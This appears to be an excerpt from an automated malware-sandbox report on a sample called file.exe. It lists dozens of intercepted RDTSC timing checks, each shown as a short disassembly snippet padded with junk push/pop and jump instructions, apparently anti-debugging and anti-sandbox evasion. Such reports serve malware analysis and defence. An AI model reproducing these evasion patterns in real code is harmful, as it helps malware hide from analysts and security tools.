Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DD2A second address: 66DD30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DD30 second address: 66DD36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66DD36 second address: 66DD3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66FA76 second address: 66FA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6928B6AE7Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66FA8B second address: 66FA91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F8CA second address: 66F8CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F8CE second address: 66F8D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674541 second address: 674547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674547 second address: 67454B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67468B second address: 67469A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F6928B6AE76h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67469A second address: 67469E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67469E second address: 6746BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007F6928B6AE76h 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F6928B6AE76h 0x00000018 jbe 00007F6928B6AE76h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6746BC second address: 6746E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4596h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6928EA458Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6746E5 second address: 6746EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686207 second address: 686211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6928EA4586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 686211 second address: 68621E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6928B6AE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D779 second address: 68D77F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D77F second address: 68D784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C00A second address: 68C010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C010 second address: 68C014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C014 second address: 68C020 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C020 second address: 68C026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C026 second address: 68C041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6928EA4592h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C041 second address: 68C068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6928B6AE80h 0x00000009 jmp 00007F6928B6AE83h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68C7A0 second address: 68C7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691127 second address: 691151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE88h 0x00000007 jp 00007F6928B6AE76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007F6928B6AE7Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6968D8 second address: 6968DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6968DE second address: 6968E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DC05 second address: 69DC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DC09 second address: 69DC21 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6928B6AE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F6928B6AE82h 0x00000010 jnc 00007F6928B6AE76h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AED82 second address: 6AEDB6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F6928EA458Ah 0x00000014 pop eax 0x00000015 push eax 0x00000016 js 00007F6928EA4586h 0x0000001c pop eax 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F6928EA458Eh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEDB6 second address: 6AEDE4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 ja 00007F6928B6AE76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F6928B6AE7Ah 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F6928B6AE83h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBEC9 second address: 6CBECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBECD second address: 6CBF08 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jbe 00007F6928B6AE76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F6928B6AE82h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F6928B6AE87h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBF08 second address: 6CBF18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6928EA4586h 0x0000000a popad 0x0000000b push ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBF18 second address: 6CBF1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBF1D second address: 6CBF23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBF23 second address: 6CBF27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CB5F5 second address: 6CB618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6928EA459Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CBBDA second address: 6CBBDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD69C second address: 6CD6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6928EA4596h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD6B6 second address: 6CD6BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1722 second address: 6D1728 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1B4B second address: 6D1B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1B5C second address: 6D1B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1B62 second address: 6D1B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D36F5 second address: 6D370D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6928EA4593h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3299 second address: 6D32A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D32A6 second address: 6D32BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b js 00007F6928EA4592h 0x00000011 jne 00007F6928EA4586h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D51CB second address: 6D51D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D51D1 second address: 6D51EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F6928EA458Dh 0x0000000e popad 0x0000000f pop esi 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D51EE second address: 6D51F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D51F4 second address: 6D51FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D51FD second address: 6D5205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0078 second address: 4ED007C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED007C second address: 4ED0080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0080 second address: 4ED0086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0F42 second address: 4EB0F46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00008 second address: 4F0000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0000C second address: 4F00012 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00012 second address: 4F0006C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4594h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6928EA4590h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov si, 4E63h 0x00000017 pushfd 0x00000018 jmp 00007F6928EA4598h 0x0000001d add ah, FFFFFFA8h 0x00000020 jmp 00007F6928EA458Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0006C second address: 4F00072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00072 second address: 4F00076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F00076 second address: 4F0007A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0007A second address: 4F000BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov dl, 01h 0x0000000c push esi 0x0000000d jmp 00007F6928EA4595h 0x00000012 pop ecx 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007F6928EA4597h 0x0000001b pop ebp 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F000BC second address: 4F000F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, 97h 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushfd 0x0000000a jmp 00007F6928B6AE83h 0x0000000f sub esi, 59827D5Eh 0x00000015 jmp 00007F6928B6AE89h 0x0000001a popfd 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E900D6 second address: 4E900DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E900DC second address: 4E900E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E900E0 second address: 4E9013D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6928EA4590h 0x0000000e push eax 0x0000000f jmp 00007F6928EA458Bh 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F6928EA4596h 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d mov dx, cx 0x00000020 mov eax, 0FBB74F9h 0x00000025 popad 0x00000026 push dword ptr [ebp+04h] 0x00000029 pushad 0x0000002a push esi 0x0000002b pushad 0x0000002c popad 0x0000002d pop ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 call 00007F6928EA458Ah 0x00000035 pop ecx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9013D second address: 4E90167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push dword ptr [ebp+0Ch] 0x0000000a jmp 00007F6928B6AE87h 0x0000000f push dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90167 second address: 4E9016B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9016B second address: 4E9016F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9016F second address: 4E90175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0CEF second address: 4EB0D79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6928B6AE7Fh 0x00000009 adc si, CC7Eh 0x0000000e jmp 00007F6928B6AE89h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F6928B6AE80h 0x0000001a sub esi, 2AF3BF78h 0x00000020 jmp 00007F6928B6AE7Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov dword ptr [esp], ebp 0x0000002c jmp 00007F6928B6AE86h 0x00000031 mov ebp, esp 0x00000033 jmp 00007F6928B6AE80h 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0D79 second address: 4EB0D7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB077F second address: 4EB0783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0783 second address: 4EB0787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0787 second address: 4EB078D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB078D second address: 4EB07BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4594h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6928EA4597h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB07BF second address: 4EB07D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6928B6AE84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB07D7 second address: 4EB07DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB07DB second address: 4EB07F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6928B6AE7Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB07F3 second address: 4EB0876 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6928EA4597h 0x00000009 jmp 00007F6928EA4593h 0x0000000e popfd 0x0000000f mov bh, ch 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 call 00007F6928EA4591h 0x0000001b mov edx, eax 0x0000001d pop esi 0x0000001e push edx 0x0000001f mov edi, ecx 0x00000021 pop ecx 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 jmp 00007F6928EA458Bh 0x0000002a pop ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e movsx ebx, cx 0x00000031 pushfd 0x00000032 jmp 00007F6928EA458Ch 0x00000037 add ecx, 51860DD8h 0x0000003d jmp 00007F6928EA458Bh 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02D5 second address: 4EC02E4 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02E4 second address: 4EC02E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC02E8 second address: 4EC0300 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0300 second address: 4EC0361 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 movsx edx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F6928EA4592h 0x00000014 and ch, 00000058h 0x00000017 jmp 00007F6928EA458Bh 0x0000001c popfd 0x0000001d call 00007F6928EA4598h 0x00000022 jmp 00007F6928EA4592h 0x00000027 pop eax 0x00000028 popad 0x00000029 pop ebp 0x0000002a pushad 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0E51 second address: 4EF0EC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6928B6AE7Fh 0x00000009 sbb esi, 408F979Eh 0x0000000f jmp 00007F6928B6AE89h 0x00000014 popfd 0x00000015 mov edx, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c jmp 00007F6928B6AE83h 0x00000021 pushad 0x00000022 movzx esi, dx 0x00000025 mov cl, dh 0x00000027 popad 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F6928B6AE7Ah 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 call 00007F6928B6AE7Dh 0x00000039 pop ecx 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0EC5 second address: 4EF0ECB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED03B2 second address: 4ED03F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 pushfd 0x00000006 jmp 00007F6928B6AE7Ch 0x0000000b and ax, FA38h 0x00000010 jmp 00007F6928B6AE7Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F6928B6AE85h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED03F2 second address: 4ED03F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED03F8 second address: 4ED03FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
